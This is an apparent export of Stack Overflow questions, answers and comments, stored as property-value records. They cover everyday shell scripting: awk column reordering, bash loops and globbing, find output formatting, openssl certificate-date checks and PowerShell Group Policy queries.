has body: A script will transform csv file header positions A,C,B,D to A,B,C,D and output is variable VAR_INP will be used in awk to print and create new csv file. VAR_INP="TMP1=$1 ; TMP2=$2 ; TMP3=$3 ; TMP4=$4 ; $1=TMP1 ;$3=TMP2 ;$2=TMP3 ;$4=TMP4 ;" I need to use this VAR_INP as input command inside awk. echo "A,C,B,D" > input.csv awk 'BEGIN { FS=OFS","} { $VAR_INP print }' input.csv expected output A,B,C,D I am not getting desired results. its printing the input as it is. it works only if i expand the VAR_INP and run manually Please advise.
tagged with: awk
has comment: http://stackoverflow.com/comment/135613494
accepted answer: http://stackoverflow.com/a/76929534
has comment: http://stackoverflow.com/comment/135615504
type: Question
has answer: http://stackoverflow.com/a/76934053
has comment: http://stackoverflow.com/comment/135615433
has answer: http://stackoverflow.com/a/76927975
type: AnsweredQuestion

http://stackoverflow.com/a/77050019
answers question: http://stackoverflow.com/q/77049931
score: 3
has body: You could use awk to find all rows whose first word is Version:, then output their second word: awk '$1 == "Version:" {print $2}' /Documents/test 1.0
upvote count: 3
downvote count: 0
type: Answer

http://stackoverflow.com/comment/135823880
comment on: http://stackoverflow.com/q/77046185
score: 1
has text: Could you possibly have registered it more than once? Try `Get-EventSubscriber`
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76944076
has title: Scope of disabled globbing in a shell script
type: Question
score: 0
tagged with: ksh
has comment: http://stackoverflow.com/comment/135748858
tagged with: shell
tagged with: linux
accepted answer: http://stackoverflow.com/a/76948058
answer count: 1
has comment: http://stackoverflow.com/comment/135650216
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135741290
has comment: http://stackoverflow.com/comment/135642390
has answer: http://stackoverflow.com/a/76948058
has body: I wanted to know what the scope of a "set" command would be in a shell script. Is it limited to the script itself? Or if run via an interactive shell, limited to that particular instance? Specifically, I'm trying to disable globbing, execute some commands and enable it again #Disable Globbing set -o noglob #Run some cmd's #Enable Globbing again set +o noglob So let's say if someone else logged in on the server and tried to do something while my script is running, will they be affected by the "noglob" that is disabled temporarily? PS: I do understand the best practices of Quoting variables, but would still like to know the impact of setting noglob. Thanks
tagged with: glob

http://stackoverflow.com/comment/135680402
type: Comment
type: AnswerComment
score: 0
has text: @Richa The additional `=` sign does introduce a hiccup, since awk is splitting that line on =. Should be easy enough to fix. edited
comment on: http://stackoverflow.com/a/76952426

http://stackoverflow.com/comment/135560986
type: QuestionComment
comment on: http://stackoverflow.com/q/76896657
type: Comment
has text: @GordonDavisson Thanks for sharing the article. I'll check.
score: 0

http://stackoverflow.com/comment/135811363
type: Comment
has text: It's not standard in the strict standards-body-approved definition, but I'd argue that the _most widely available_ XML-parsing tool out-of-the-box on modern UNIXy systems is probably a Python interpreter. :P
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77039367

http://stackoverflow.com/q/76903882
tagged with: cygwin
answer count: 2
type: Question
tagged with: shell
downvote count: 2
has answer: http://stackoverflow.com/a/76904366
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/64649
score: -2
favorite count: 0
linked to: http://stackoverflow.com/q/47342780
has comment: http://stackoverflow.com/comment/135573979
has comment: http://stackoverflow.com/comment/135574304
has body: Given a path to some directory (i.e. path/to/directory), I want to obtain the output in the following format: 100|path/to/directory/a/file1.txt 200|path/to/directory/b/file2.txt 321|path/to/directory/c/d/file3.txt ... Here 100, 200, 321 etc. are the sizes (in bytes) of the corresponding files (the symbol | is used as a separator.) I tried to use the following command: find path/to/directory -maxdepth 3 -type f -printf "%s|%p\n" > path/to/output.txt But then I had a lot of error messages of the following form: find: `path/to/directory/my directory 1': No such file or directory I noticed that this happened when the name of some directory contained at least one space. So my question is: what command can I use so that it will produce the desired output, no matter what chars occur in file names and directory names? The question is not a duplicate of this question because there is an additional issue of problematic names. This answer mentions the issue of subdirectory or file names containing white space, then says that it can be solved by -print0 | xargs -0, then says that it's easier to avoid using the xargs construction altogether. I have found one relevant answer here, but was unable to modify it so that it would fit my needs. EDIT I have found the issue that causes the problem. The thing is, I run these commands from Cygwin or MSYS2, which leads to this problem because the long filenames contain characters encoded by more than one byte. The problem is also described here and here. Therefore, Cygwin and MSYS2 are unable to deal with some files whose paths do not exceed the maximum length (255 characters) allowed by the OS (Windows). For example, I have created a file whose full path (in Windows) is the following: E:/test1/αβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγαβγ.txt Then I run …
has comment: http://stackoverflow.com/comment/135573505
tagged with: bash
linked to: http://stackoverflow.com/q/35186939
has comment: http://stackoverflow.com/comment/135605733
upvote count: 0
linked to: http://stackoverflow.com/q/45467280
has title: How to use the ‘find’ command (from Cygwin) to print the list of values (file size, file name), no matter what chars occur in a directory/file name?
tagged with: unix
has comment: http://stackoverflow.com/comment/135613811
has answer: http://stackoverflow.com/a/76908265

http://stackoverflow.com/a/77025220
has comment: http://stackoverflow.com/comment/135786218
has body: Solution: This snippet creates iterations of the embedded command based on the number of channels in the array #bash #!/bin/bash # Testing Channels: 1001, 2001, 2004 # Setting up my channels and openChan_sim controls channels=(3002 1001 4003) priority=(REALTIME REALTIME REALTIME) objserv=(83 82 81) # Get the length of one of the arrays length=${#channels[@]} # Function to perform the iteration in a subshell perform_iteration() { local index=$1 openChan_sim ${channels[$index]} -d -p ${priority[$index]} -s ${objserv[$index]}" } # Loop through the channels and create subshell instances for ((i=0; i<length; i++)) do (perform_iteration "$i") & done wait
has comment: http://stackoverflow.com/comment/135786245
type: Answer
answers question: http://stackoverflow.com/q/77024360
accepted answer of: http://stackoverflow.com/q/77024360
score: 0
has comment: http://stackoverflow.com/comment/135799792
has comment: http://stackoverflow.com/comment/135786232
type: AcceptedAnswer

http://stackoverflow.com/q/76910801
downvote count: 0
answer count: 3
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/76910838
has answer: http://stackoverflow.com/a/76936615
has body: #!/bin/bash for i in {1..99} do if [ i%2 != 0 ]; then echo $i fi done I want to print all odd numbers between 1 and 99, but it is printing all numbers between 1 and 99, not just the odds. Why isn't my simple if statement in the for loop filtering out the even numbers?
has comment: http://stackoverflow.com/comment/135586922
type: UnansweredQuestion
score: 1
tagged with: bash
has comment: http://stackoverflow.com/comment/135586920
has title: I found an error in bash scripting of Linux which contained if condition with for loop
has answer: http://stackoverflow.com/a/76914088
type: Question
tagged with: shell
tagged with: linux
has comment: http://stackoverflow.com/comment/135585090

http://stackoverflow.com/a/76945357
has body: You can't reliably parse XML with a simple sed or bash program. This bash script produces the sample output provided in the question from the sample input provided in the question: ( set extglob v= while read -r r; do v+=${v:+ }$r; done &lt;input.txt echo &quot;${v//&gt;?( )&lt;/&gt;$'\n'&lt;}&quot; &gt;input.txt1 )
answers question: http://stackoverflow.com/q/76944879
score: 0
type: Answer

http://stackoverflow.com/comment/135808248
type: QuestionComment
has text: The screenshot(s) you've shown contain a _hashtable_ literal. You need to index into it by key, eg. `$web['vpn']`
comment on: http://stackoverflow.com/q/77037911
type: Comment
score: 1

http://stackoverflow.com/comment/135729396
comment on: http://stackoverflow.com/q/76993557
type: Comment
has text: yes , i dont know the tags are not showing after the post , they are already in the actual post
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135794177
has text: I'm surprised you didn't try `exec("kotlinc", "-version")`. Or did you?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77029758

http://stackoverflow.com/a/77082064
answers question: http://stackoverflow.com/q/77041956
type: Answer
has body: Using any awk: $ awk -v OFS='\t' ' NR==FNR { if (/^--@/) tests[++x]=$0; next } /: &gt;&gt;&gt;/ { print tests[++y], $0 } ' testfile cmdoutput --@test: test Name 1 [&lt;timestamp&gt;]: &gt;&gt;&gt; Test Passed --@test: testName2 [&lt;timestamp&gt;]: &gt;&gt;&gt; Test Passed --@test: test Name3 [&lt;timestamp&gt;]: &gt;&gt;&gt; Test Failed
score: 0

http://stackoverflow.com/comment/135730569
type: QuestionComment
has text: @BenjaminW. thank you, this link helped a lot
comment on: http://stackoverflow.com/q/76993753
type: Comment
score: 0

http://stackoverflow.com/q/77043781
has body: I have stopped a systemctl service using below command systemctl stop service_name but the below command is showing it as active systemctl is_active service_name I want to know whether the service is stopped or running . How to achieve this ?
answer count: 1
has answer: http://stackoverflow.com/a/77044040
score: 0
type: Question
tagged with: systemctl
tagged with: shell
type: UnansweredQuestion
tagged with: unix
has title: systemctl status returning active even when the service is stopped

http://stackoverflow.com/a/76986780
accepted answer of: http://stackoverflow.com/q/76986722
score: 2
has body: Assuming that your "grouping key" is a number with 6 digits (729590, 459590, 865431, 345621), the following should work: awk 'BEGIN{OFS=","} /^[0-9]{6}$/ {i=$0; next} {print i, $0, "some_text"}' input.txt Explanation: BEGIN{OFS=","} will define , as a separator when we will call print function (e.g. print "a", "b" will display a,b) /^[0-9]{6}/ {i=$0; next} matches a 6-digit number, and stores it in variable i. Then it goes to the next line (next) {print i, $0, "some_text"}: for every other line, it prints the variable i, the current line ($0, in your case an uuid), and some_text. Each field will be separated by a , (defined by OFS) Thanks to @Ed Morton for his suggestion in the comments section :)
upvote count: 2
has comment: http://stackoverflow.com/comment/135717612
type: Answer
has comment: http://stackoverflow.com/comment/135717658
answers question: http://stackoverflow.com/q/76986722
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/a/77010188
accepted answer of: http://stackoverflow.com/q/77009623
has comment: http://stackoverflow.com/comment/135760029
has comment: http://stackoverflow.com/comment/135759861
type: Answer
upvote count: 2
has body: Do you have a file in your PATH with the same name? Info from the Bash docs on source: If filename does not contain a slash, the PATH variable is used to find filename, but filename does not need to be executable. When Bash is not in POSIX mode, it searches the current directory if filename is not found in $PATH. Try checking with type .broken_file This might work instead: source ./.broken_file
downvote count: 0
has comment: http://stackoverflow.com/comment/135759912
answers question: http://stackoverflow.com/q/77009623
type: AcceptedAnswer
score: 2

http://stackoverflow.com/a/77010843
has comment: http://stackoverflow.com/comment/135761205
has comment: http://stackoverflow.com/comment/135773487
type: AcceptedAnswer
score: 0
answers question: http://stackoverflow.com/q/77010695
has body: Assumptions: header should have 5 fields instead of the 4 provided by OP data fields should not have spaces before/after the comma (as in some of OP's expected output fields) each rollReferences block has the same 5 fields and the last field is always roleTemplateName One awk idea: awk ' BEGIN { FS = ":[[:space:]]+" OFS = "," print "Collection","Role Desc","Role_Name","App_Id","Role_Template" } $1 ~ /^name$/ { coll = $2 } $1 ~ /- description$/ { desc = $2 } $1 ~ / name$/ { name = $2 } $1 ~ / roleTemplateAppId$/ { id = $2 } $1 ~ / roleTemplateName$/ { print coll,desc,name,id,$2 } ' <<< "${roledetails}" NOTE: this is heavily dependent on the exact format of the input data This generates: Collection,Role Desc,Role_Name,App_Id,Role_Template CLD:HYB_Y_BASIS_ADMIN,desc1,AuthGroup_Administrator,it!b2455,AuthGroup_Administrator CLD:HYB_Y_BASIS_ADMIN,Desc2,AuthGroup_BusinessExpert,it!b2455,AuthGroup_BusinessExpert
has comment: http://stackoverflow.com/comment/135761219
has comment: http://stackoverflow.com/comment/135760969
accepted answer of: http://stackoverflow.com/q/77010695
has comment: http://stackoverflow.com/comment/135761014
has comment: http://stackoverflow.com/comment/135761158
type: Answer
has comment: http://stackoverflow.com/comment/135761128

http://stackoverflow.com/a/76942856
has comment: http://stackoverflow.com/comment/135653466
answers question: http://stackoverflow.com/q/76942752
type: Answer
has comment: http://stackoverflow.com/comment/135652934
has body: The first time, you execute the code, the HERE string will be build up. At this time, all variables are initially empty. Your string becomes essentially PATH_JOB=/home/myaccount PATH_SRC=/aaaa PATH_OUT=/bbbb echo [][] Then you source this string. This causes PATH_SRC and PATH_OUT to be defined. If you repeat the process, constructing the HERE string now substitutes the newly defined values, and it becomes PATH_JOB=/home/myaccount PATH_SRC=/home/myaccount/aaaa PATH_OUT=/aaaa/bbbb echo [/aaaa][/bbbb] You can easier see what's going on, if you separate building the string from sourcing it: string=$(cat &lt;&lt; EOL | tee /tmp/buildvar_eval.sh TODAY=$(date +%y%m%d) PATH_JOB=$HOME PATH_SRC=${PATH_JOB}/aaaa PATH_OUT=${PATH_SRC}/bbbb echo [$PATH_SRC][$PATH_OUT] EOL ) echo Temorary script: cat /tmp/buildvar_eval.sh source /tmp/buildvar_eval.sh Now repeat the process and observe how the string gets build up in a different way, because the source command caused the definition of the variables.
downvote count: 0
score: 2
upvote count: 2

http://stackoverflow.com/q/77032828
tagged with: bash
has comment: http://stackoverflow.com/comment/135799193
has comment: http://stackoverflow.com/comment/135805600
type: Question
answer count: 0
has title: Shell script - get current date with a fixed time element in ‘seconds since epoch’ format
has comment: http://stackoverflow.com/comment/135803534
tagged with: shell
downvote count: 0
type: UnansweredQuestion
favorite count: 0
score: 2
upvote count: 2
has body: I’m fairly new to Linux and shell scripting so I hope that you will forgive a nooby question. I want to get the current date but with a fixed time into a variable with the value in epoch seconds. I have done this so far, but I’m really not happy with it: startTime=$(date -d $(date +”%FT03:15:00”) +%s) It works ok but just seems a bit clunky (mainly because of the two calls to date) so was wondering if there is a better/cleaner way to achieve what I’m after? I tried a printf alternative which cut down on one date call but… The jobs that’s running this isn’t performance critical but I like to code for efficiency out of habit.

http://stackoverflow.com/a/76972551
accepted answer of: http://stackoverflow.com/q/76970324
type: AcceptedAnswer
has body: &gt;logs/nohup.out redirects STDOUT. But you also want to redirect STDERR. You could add 2&gt;&amp;1 to send both STDOUT and STDERR to logs/nohup.out.
answers question: http://stackoverflow.com/q/76970324
upvote count: 1
downvote count: 0
score: 1
type: Answer

http://stackoverflow.com/q/77021831
tagged with: child-process
linked to: http://stackoverflow.com/q/15629923
has title: Error while executing two commands in one line with && operator in Node.js
tagged with: command
has answer: http://stackoverflow.com/a/77022553
has comment: http://stackoverflow.com/comment/135780088
score: 0
type: Question
has body: while cd ./tools/darwin/ && ./adb works in my mac terminal, my node.js application with this piece of code const CHANGE_DIRECTORY_COMMAND = "cd ./tools/darwin/" const EXECUTE_ADB_COMMAND = "./adb" if(platform === "darwin") { exec(`${CHANGE_DIRECTORY_COMMAND} && ${EXECUTE_ADB_COMMAND}`, (error, stdout, stderr) => { if (error) { console.error(`Error executing the adb file: ${error}`); return; } if (stdout) { console.log(`Standard output: ${stdout}`); } if (stderr) { console.error(`Standard error: ${stderr}`); } }); } gives this error, Error executing the adb file: Error: Command failed: cd ./tools/darwin/ && ./adb in addition, this code works pretty well, const { exec } = require("child_process"); let commandOne = "ls -l"; // display all files in current directory with (-l) long format let commandTwo = "whoami"; // print the current user let commandThree = "pwd"; //print the name of current directory exec(`${commandOne} && ${commandTwo} && ${commandThree}`, (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } console.log(`Output: ${stdout}`); });
tagged with: shell
type: UnansweredQuestion
answer count: 1
tagged with: node.js

http://stackoverflow.com/comment/135834058
type: Comment
has text: I don't think that it is specified that `head` terminates immediately after the required number of lines has been read. Furthermore, standard input by default undergoes buffering. Without any buffering, peeking at the next character (without consuming it) would not work. You can turn off buffering for a speciric command: See _man stdbuf_.
comment on: http://stackoverflow.com/q/77051352
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135644494
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76945473
type: Comment
has text: @Rajasekhar : This is something you already have in your original code. I didn't see a reason to copy this, and just posted my variant to calculate `pattern1` from `line`.

http://stackoverflow.com/a/76886550
type: AcceptedAnswer
score: 0
accepted answer of: http://stackoverflow.com/q/76886382
has body: The easiest way should be using datetime with timedelta: import datetime time = datetime.datetime.strptime("07:12:54", "%H:%M:%S") # suppose that the time is 07:12:54 print(time.strftime ("%H:%M:%S")) delta = datetime.timedelta(seconds=2000.234) # I need to add 2000.234 seconds print(delta) new_time = time + delta # calculate the output time in HH:MM:SS print(new_time.strftime ("%H:%M:%S")) new_time2 = time - delta # decrease the seconds of the HH:MM:SS time print(new_time2.strftime ("%H:%M:%S")) resulting in the output: 07:12:54 0:33:20.234000 07:46:14 06:39:33
has comment: http://stackoverflow.com/comment/135543954
has comment: http://stackoverflow.com/comment/135544174
answers question: http://stackoverflow.com/q/76886382
has comment: http://stackoverflow.com/comment/135543955
has comment: http://stackoverflow.com/comment/135543951
type: Answer
has comment: http://stackoverflow.com/comment/135543950

http://stackoverflow.com/q/76978039
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135703936
has body: I am trying to replace content by checking previous lines as well as the next line. As shown below. "eth0" 192.168.1.2 1123 "eth1" 192.168.1.22 6789 "Name" 192.168.1.2 1123 Replace any IP address with 111.111.111.111 for which the next line is 1123 and it should be under "eth0" section. What I tried: sed -E "/ /{n;/ /{n;s@ .*<([^\n]*\n[^\n]* 1123 )@ 111.111.111.111<@}}" test.txt Want to replace in the line above port 1123. If I remove ([^\n]*\n[^\n]* 1123 ), then it replaces both ips under Info. "eth0" 111.111.111.111 1123 "eth1" 111.111.111.111 6789 "Name" 192.168.1.2 1123 Expect: "eth0" 111.111.111.111 1123 "eth1" 192.168.1.22 6789 "Name" 192.168.1.2 1123
has answer: http://stackoverflow.com/a/76979328
has answer: http://stackoverflow.com/a/76990052
has answer: http://stackoverflow.com/a/76980843
accepted answer: http://stackoverflow.com/a/76990052
tagged with: sed
answer count: 4
possible better answer: http://stackoverflow.com/a/76979610
downvote count: 0
upvote count: 5
favorite count: 0
has title: Replace content of one line by checking previous and next line
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76979610
tagged with: awk
has comment: http://stackoverflow.com/comment/135702194
score: 5

http://stackoverflow.com/q/76996572
type: Question
downvote count: 1
has body: Let's say I have a file which needs to be referenced by other files and it needs to be possible to move and rename this file without breaking the reference in all the other files. Is there a way to achieve that? It's a linux-like os question but if someone had an answer for windows, I will appreciate it too. I came up with an idea involving symlinks. I created a simple python script which first finds all links pointing to a file being moved (using mlocate), moves the file and then updates all the links. All the other files that need a reference to this file reference it by a symlink. It works, but it means I need a symlink for every file I want to reference and I need to store them somewhere. It's not even that bad but I want to know if there exists a better way. Any advice is welcome.
has comment: http://stackoverflow.com/comment/135735491
has answer: http://stackoverflow.com/a/76996716
has title: Is there a way in a Linux os to create a reference to file which is not dependent on it's location or name?
has comment: http://stackoverflow.com/comment/135735447
accepted answer: http://stackoverflow.com/a/76996716
has comment: http://stackoverflow.com/comment/135735461
has comment: http://stackoverflow.com/comment/135735233
has comment: http://stackoverflow.com/comment/135735543
upvote count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135735538
has comment: http://stackoverflow.com/comment/135735455
has comment: http://stackoverflow.com/comment/135735456
answer count: 1
tagged with: terminal
has comment: http://stackoverflow.com/comment/135735514
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135736055
has comment: http://stackoverflow.com/comment/135735355
has comment: http://stackoverflow.com/comment/135735501
has comment: http://stackoverflow.com/comment/135735437
score: -1
tagged with: linux
has comment: http://stackoverflow.com/comment/135735508

http://stackoverflow.com/comment/135723705
comment on: http://stackoverflow.com/a/76975128
type: Comment
score: 0
type: AnswerComment
has text: @sachinbm you can use `yq` in a bash script, just like you would use sed/awk/find/xargs in a bash script: all of them are simply external commands that are called by your shell. And yes, `yq` should be able to handle multiple paths (when invoked with xargs) – if it doesn't, run `xargs -n1` to invoke yq with a single argument only

http://stackoverflow.com/comment/135819058
comment on: http://stackoverflow.com/a/77037389
type: Comment
score: 0
type: AnswerComment
has text: This works too but only when I added sort before uniq.

http://stackoverflow.com/a/76916385
has body: You can use jq to transform small quasi-JSON texts such as shown by treating it as a program, e.g. along the following lines: function text { cat<<EOF [ { id:1, "term":"term1" }, { id:2, "term":"term2" }, { id:3, "term":"term3" } ] EOF } jq -n -f <(text)
score: 0
answers question: http://stackoverflow.com/q/76913125
type: Answer

http://stackoverflow.com/comment/135668961
comment on: http://stackoverflow.com/q/76958436
score: 0
type: QuestionComment
has text: This is tricky, in that the pattern needs to match at the beginning of line. You could create a temporary file out of File1.txt, which has a caret (`^`) at the start of each line, and then use `grep`. However this means that an entry in File1.txt which i.e. says `AB.`, would also match `ABx` and `ABy` for instance. For a _literal_ match at the start of line, it is perhaps easiest to write a small program in, say, Ruby or Perl or awk.
type: Comment

http://stackoverflow.com/a/76990532
type: Answer
score: 2
answers question: http://stackoverflow.com/q/76990480
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/76990480
has body: In bash, source and . are the same, as the man page says. What you are doing here is testing if find treats source and . the same way. It does not. find understands that . is the current directory. You cannot exec the current directory; permission is denied. if find needs to execute source, there must be an external program source available. There is none in your PATH, so you get No such file or directory The fact that they are different for find does not imply that there is a difference for bash.
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/76972787
type: UnansweredQuestion
has body: I have a simple bash script that looks like this, which adds two "printer" processes that print words in a loop to an array and executes them, storing their process IDs. I am trying to user process substitution to filter out a piece of text that gets printed, but I keep getting the error grep: <(./usr/bin/printscript2.sh): No such file or directory The scripts for the printer processes are similar but printscript1 just has some different words, so I'll add the code for printscript2 below the parent process. #!/bin/bash # Setup array for the commands we wish to execute procs_arr=() procs_arr+=("/usr/bin/printscript1.sh") procs_arr+=("grep -v FILTERMEPLEASEENDTHISMISERY <(/usr/bin/printscript2.sh)") num_procs=${#procs_arr[@]} echo "num_procs = $num_procs" # Run the commands and store pids to an array pids=() for (( i=0; i<"$num_procs"; i++ )); do echo "cmd = ${procs_arr[$i]}" ${procs_arr[$i]} & pids+=("$!") echo " pid = ${pids[$i]}" done while true; do sleep 1000 done exit 0 !/bin/bash sleep 3 while true; do sleep 5 echo "parrot" sleep 5 echo "FILTERMEPLEASEENDTHISMISERY" sleep 5 echo "socks" done I executed the same command using process substitution locally in the shell (i.e. ran "grep -v FILTERMEPLEASEENDTHISMISERY <(/usr/bin/printscript2.sh)" in bash directly) and it worked as intended, meaning the string was filtered out from the console prints. I'm not sure if there's some special formatting I'm missing here. I also tried to use escape characters so putting a backslash '' in front of '<', '(', and ')' and got the same error grep: \<\(/usr/bin/printscript2.sh\): No such file or directory. Is this a function that is only supposed to be supported when directly done in a bash shell, or am I typing something incorrectly?
linked to: http://stackoverflow.com/q/11079342
tagged with: bash
duplicate of: http://stackoverflow.com/q/11079342
has comment: http://stackoverflow.com/comment/135692399
has comment: http://stackoverflow.com/comment/135692444
has comment: http://stackoverflow.com/comment/135692415
tagged with: process-substitution
has comment: http://stackoverflow.com/comment/135692379
has comment: http://stackoverflow.com/comment/135692393
score: 0
type: Question
tagged with: shell
answer count: 0
tagged with: linux
has title: How to use process substitution when executing commands through a bash array

http://stackoverflow.com/q/76892668
tagged with: shell
tagged with: linux
answer count: 1
accepted answer: http://stackoverflow.com/a/76892746
has body: I'm starting to code an installation shell script. Therefore, I want to check that I've the right Conda environment either active or it exists. But I have some issues, every time when the right environment is active there do not detect it inside the 'if' requested. That is my piece of code for this functionality: #!/bin/bash desired_env="gnuradio" # Check if the desired environment exists if conda env list | grep -q "^$desired_env "; then # Check if the desired environment is active if conda info --envs | grep -q "^\*.*$desired_env"; then echo "The '$desired_env' environment is currently active." else echo "Error: The '$desired_env' environment should be active." echo "Please activate the '$desired_env' environment using:" echo "conda activate $desired_env" read -p "Do you want to activate environment $desired_env? ([Y]/n): " choice if | -z "$choice" ; then conda activate $desired_env else exit 1 fi fi else read -p "The '$desired_env' environment does not exist. Do you want to create it? ([Y]/n): " choice if | -z "$choice" ; then conda create -n $desired_env echo "The '$desired_env' environment has been created. Please activate it using:" echo "conda activate $desired_env" else exit 1 fi fi And also some further information from my terminal, where you can see that I'm already had the right environment activated: (gnuradio) X@X:~/Documents/Temp$ conda info --envs # conda environments: # base /home/X/miniconda3 gnuradio * /home/X/miniconda3/envs/gnuradio tf /home/X/miniconda3/envs/tf (gnuradio) X@X:~/Dokumente/Temp$ bash test.sh The 'gnuradio' environment does not exist. Do you want to create it? ([Y]/n): Maybe someone had some ideas to fix that problem. Thank u!
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/76892746
has title: Shell Script: Check if the right Conda environment active or does it exist
score: 0

http://stackoverflow.com/comment/135615504
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76927566
score: 1
has text: I think you're going off the rails before this with "a shell doing validation of csv where position changes dynamically and need to create with a fixed order with standard header reference" - that does not sound like something you should be doing in shell. Ask a new question with more detail if you'd like help with that.

alias
tag name: alias
tags question: http://stackoverflow.com/q/76967654
type: Tag
tags question: http://stackoverflow.com/q/78288287
tags question: http://stackoverflow.com/q/78232787
tags question: http://stackoverflow.com/q/78587002
tags question: http://stackoverflow.com/q/78842937
tags question: http://stackoverflow.com/q/79526397

http://stackoverflow.com/q/77050840
has answer: http://stackoverflow.com/a/77051033
type: Question
tagged with: shell
has title: Weird Bash Script behavior
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135838056
linked to: http://stackoverflow.com/q/13800225
tagged with: linux
downvote count: 0
tagged with: bash
accepted answer: http://stackoverflow.com/a/77051033
score: 1
upvote count: 1
type: AnsweredQuestion
has body: I have designing simple bash script just to process an output of a command that loops based on the number of entries in text file. I have attached script below: `#!/bin/bash # Check if at least one argument (server list file) is provided if [ $# -lt 1 ]; then echo "Usage: $0 server_list_file" exit 1 fi # Input file containing server names and port numbers (server:port) server_list_file="$1" # Check if the input file exists if [ ! -f "$server_list_file" ]; then echo "Error: Server list file '$server_list_file' not found." exit 1 fi # Loop through each line in the server list file while IFS= read -r line; do # Split the line into server_name and server_port server_name=$(echo "$line" | cut -d ':' -f 1) server_port=$(echo "$line" | cut -d ':' -f 2) echo "Checking server: $server_name, port: $server_port" # Run the openssl command with the server_name and server_port openssl s_client -connect "$server_name:$server_port" -servername "$server_name" 2> /dev/null | openssl x509 -noout -dates # Add a separator line between server checks echo "------------------------" done < "$server_list_file"` The script takes one argument file that is passed in on the commandline like so $checkopenssl.sh servers.txt With the servers.txt file looking like the following: example.local:443 test.example.org:8443 another.server.local:12345 The problem I have encountered is when I try to run the script it manages to break out of loop with re running the command however if I comment out the openssl command it will loop as many times as there are entries. Can anyone suggest a workaround? I am expecting the output to look like the following: Checking server: example.local, port: 443 notBefore=Mar 11 07:26:29 2023 GMT notAfter=Apr 11 07:26:29 2024 GMT ------------------------ Checking server: test.example.org, port: 8443 notBefore=Mar 11 07:26:29 2023 GMT notAfter=Apr 11 07:26:29 2024 GMT ------------------------ Checking server: another.server.local, port: 12345 notBefore=Mar 11 07:26:29 2023 GMT …

http://stackoverflow.com/a/76910838
has comment: http://stackoverflow.com/comment/135585096
score: 4
has comment: http://stackoverflow.com/comment/135586731
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/76910801
has comment: http://stackoverflow.com/comment/135587388
has comment: http://stackoverflow.com/comment/135585098
type: Answer
has body: Use Arithmetic Expansion for i in {1..99} do if [ $((i%2)) != 0 ] then echo $i fi done Better Solution From @user1934428, @tshiono & @Ed Morton comments for i in {1..99} do if ((i%2 != 0)) then echo "$i" fi done

http://stackoverflow.com/comment/135561249
score: 0
has text: The argument of `--i` should most likely be escaped: `--i 'file5.txt, file7.txt'`. Otherwise, a traditional parser would take only `file5.txt,` as an argument for the `--i`.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76896765

http://stackoverflow.com/q/77059371
has title: I am encountering an error while attempting to retrieve domain policies and organizational units (OUs) within the domain
score: 0
tagged with: shell
has body: I am encountering an error while attempting to retrieve domain policies and organizational units (OUs) within the domain. script: Import-Module GroupPolicy $forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() $domains = $forest.Domains|ForEach-Object { $_.Name } foreach ($domain in $domains) { Write-Host "Domain Name: $domain" # Connect to the domain $gpmc = New-Object -ComObject "GPMgmt.GPM" $gpmcDomain = $gpmc.GetDomain($domain) $gpos = $gpmcDomain.GetGPOs("All") foreach ($gpo in $gpos) { Write-Host " GPO Name: $($gpo.DisplayName)" } foreach ($ou in $ous) { Write-Host " OU Name: $($ou.Name)" } } error: This is the error Iam getting. PS C:\Users\subhavignesh> C:\testing_gpo.ps1 Domain Name: ngmgmt.internal Cannot find an overload for "GetDomain" and the argument count: "1" At C:\testing_gpo.ps1:10 char:5 + $gpmcDomain = $gpmc.GetDomain($domain) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodException + FullyQualifiedErrorId : RuntimeException You cannot call a method on a null-valued expression. At C:\testing_gpo.ps1:11 char:5 + $gpos = $gpmcDomain.GetGPOs("All") + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (:) [], RuntimeException + FullyQualifiedErrorId : InvokeMethodOnNull 1)I need to know how to connect with GPO 2)I need an output of my OU's and gpo policies under my domain
has answer: http://stackoverflow.com/a/77064336
type: UnansweredQuestion
answer count: 1
tagged with: active-directory
has comment: http://stackoverflow.com/comment/135891938
tagged with: windows
tagged with: powershell
tagged with: powershell-2.0
type: Question
has comment: http://stackoverflow.com/comment/135856076

http://stackoverflow.com/comment/135648157
comment on: http://stackoverflow.com/a/76945367
type: Comment
type: AnswerComment
score: 0
has text: Perhaps more bash-like would be `-n $pattern1 ` instead of ` [ ! -z "${pattern1}" ]`. But your solution is of course correct as well.

http://stackoverflow.com/comment/135706670
has text: Which shell do you use? Please a tag for your shell to your question.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76980350
score: 0

